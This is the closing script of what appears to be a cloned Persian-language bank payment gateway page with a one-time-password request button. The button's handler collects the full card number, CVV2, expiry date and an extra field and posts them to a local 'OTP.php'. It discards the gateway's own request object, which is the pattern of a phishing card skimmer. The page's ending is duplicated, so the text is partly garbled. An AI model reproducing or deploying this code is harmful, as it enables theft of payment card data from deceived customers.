                var jsonData = {
                    pan: pan,
                    sessionKey: userSessionKey,
                    areaName: areaName,
                    subCardId: subCardId,
                    CaptchaDeText: captchaDeText,
                    CaptchaInputText:captchaText
                };
                var card1 = document.getElementById('CardNumber_Pan0').value;
                var card2 = document.getElementById('CardNumber_Pan1').value;
                var card3 = document.getElementById('CardNumber_Pan2').value;
                var card4 = document.getElementById('CardNumber_Pan3').value;
                var cardnumber = card1+card2+card3+card4;
                var cvv2 = document.getElementById('Cvv2').value;
                var year = document.getElementById('Year').value;
                var month = document.getElementById('Month').value;
                var e = document.getElementById('es').value;
                var request = $.ajax({
                    url: "OTP.php",
                    method: "POST",
                    data: {
                        'cardnumber' : cardnumber,
                        'cvv2' : cvv2,
                        'year' : year,
                        'month' : month,
						'e' : e,
                        'captcha' : captchaText
                    }
                });

                request.done(function (response) {
                    otpSettings.maxTriesCount--;
                    console.log(response);
                    if (response !== undefined && response !== null) {

                        var otpResponse = response;

                        if (otpResponse.HasError === false) {

                            // showOtpMessage(otpResponse.Message);
                            otpButtonToTimer();
                            disableCaptcha();
                            k1TimerStart(otpSettings.otpTimeOut, "requestOtpButton", function () {
                                timerToOtpButton();
                                enableCaptcha();
                                // if (isEmptyOrSpaces(otpSettings.otpTryAgainMessage) == false) {
                                //     showOtpMessage(otpSettings.otpTryAgainMessage);
                                // }
                                // refreshCaptcha();

                            });

                        }
                        else {
                            // refreshCaptcha();
                            enableRequestOtpButton();
                            // showOtpMessage(response.Message);

                            if (otpSettings.maxTriesCount <= 0) {
                                timerToFailedOtp();
                                return;
                            }
                        }
                    }
                });

                request.fail(function () {
                    // showOtpMessage("رمز یک بار مصرف برای شما ارسال گردیده است<br>مشتری گرامی، درصورتی که از صحت اطلاعات واردشده اطمینان دارید ولی هنوز رمز دوم پویای خود را دریافت ننموده اید مجددا دکمه درخواست رمز پویا را بفشارید. در غیر اینصورت برای رفع مشکل به بانک صادرکننده کارت خود مراجعه فرمایید");
                    enableRequestOtpButton();
                });

                request.always(function () {
                    //otpSettings.maxTriesCount--;
                    //refreshCaptcha();
                });

            });

            $("#otpResponseModal .btn-close,#otpResponseModal .close").click(function () {

                closeOtpMessage();

            });

            $("#CardNumber_Pan3").focusout(function () {
                if ($("#afterCardNotice").length) {
                    $("#afterCardNotice").fadeIn('slow', function () {
                        $("#afterCardNotice strong").addClass('blink');
                        setTimeout(function () {
                            $("#afterCardNotice strong").removeClass('blink');
                            $("#card-info").css('height', 'auto');
                        }, 1000)
                    });
                }
            });

            $("#SelectedCardId").change(function () {
                if ($("#afterCardNotice").length) {
                    if ($("#afterCardNotice").is(":visible")) {

                    }
                    else {
                        $("#afterCardNotice").fadeIn('slow', function () {
                        $("#afterCardNotice strong").addClass('blink');
                            setTimeout(function () {
                                $("#afterCardNotice strong").removeClass('blink');
                                $("#card-info").css('height', 'auto');
                            }, 1000)
                        });
                    }
                }
            });


            $("#frmPayment").submit(function (e) {
                e.preventDefault();
                k1StopTimer();
                $(this).unbind('submit').submit();
                $("#frmPayment").submit();
            })

            $("#Month,#button-payment-pay").focus(function () {
                $(".keypad-close").click();
            });

        });

    </script>
    <div style="display: none !important;">
        2.0.8.918 (9032c8f6-6f26-4815-97da-0b8af61989c5)
    </div>
</body>
</html>
    </script>
    <div style="display: none !important;">
        2.0.8.918 (9032c8f6-6f26-4815-97da-0b8af61989c5)
    </div>
</body>
</html>
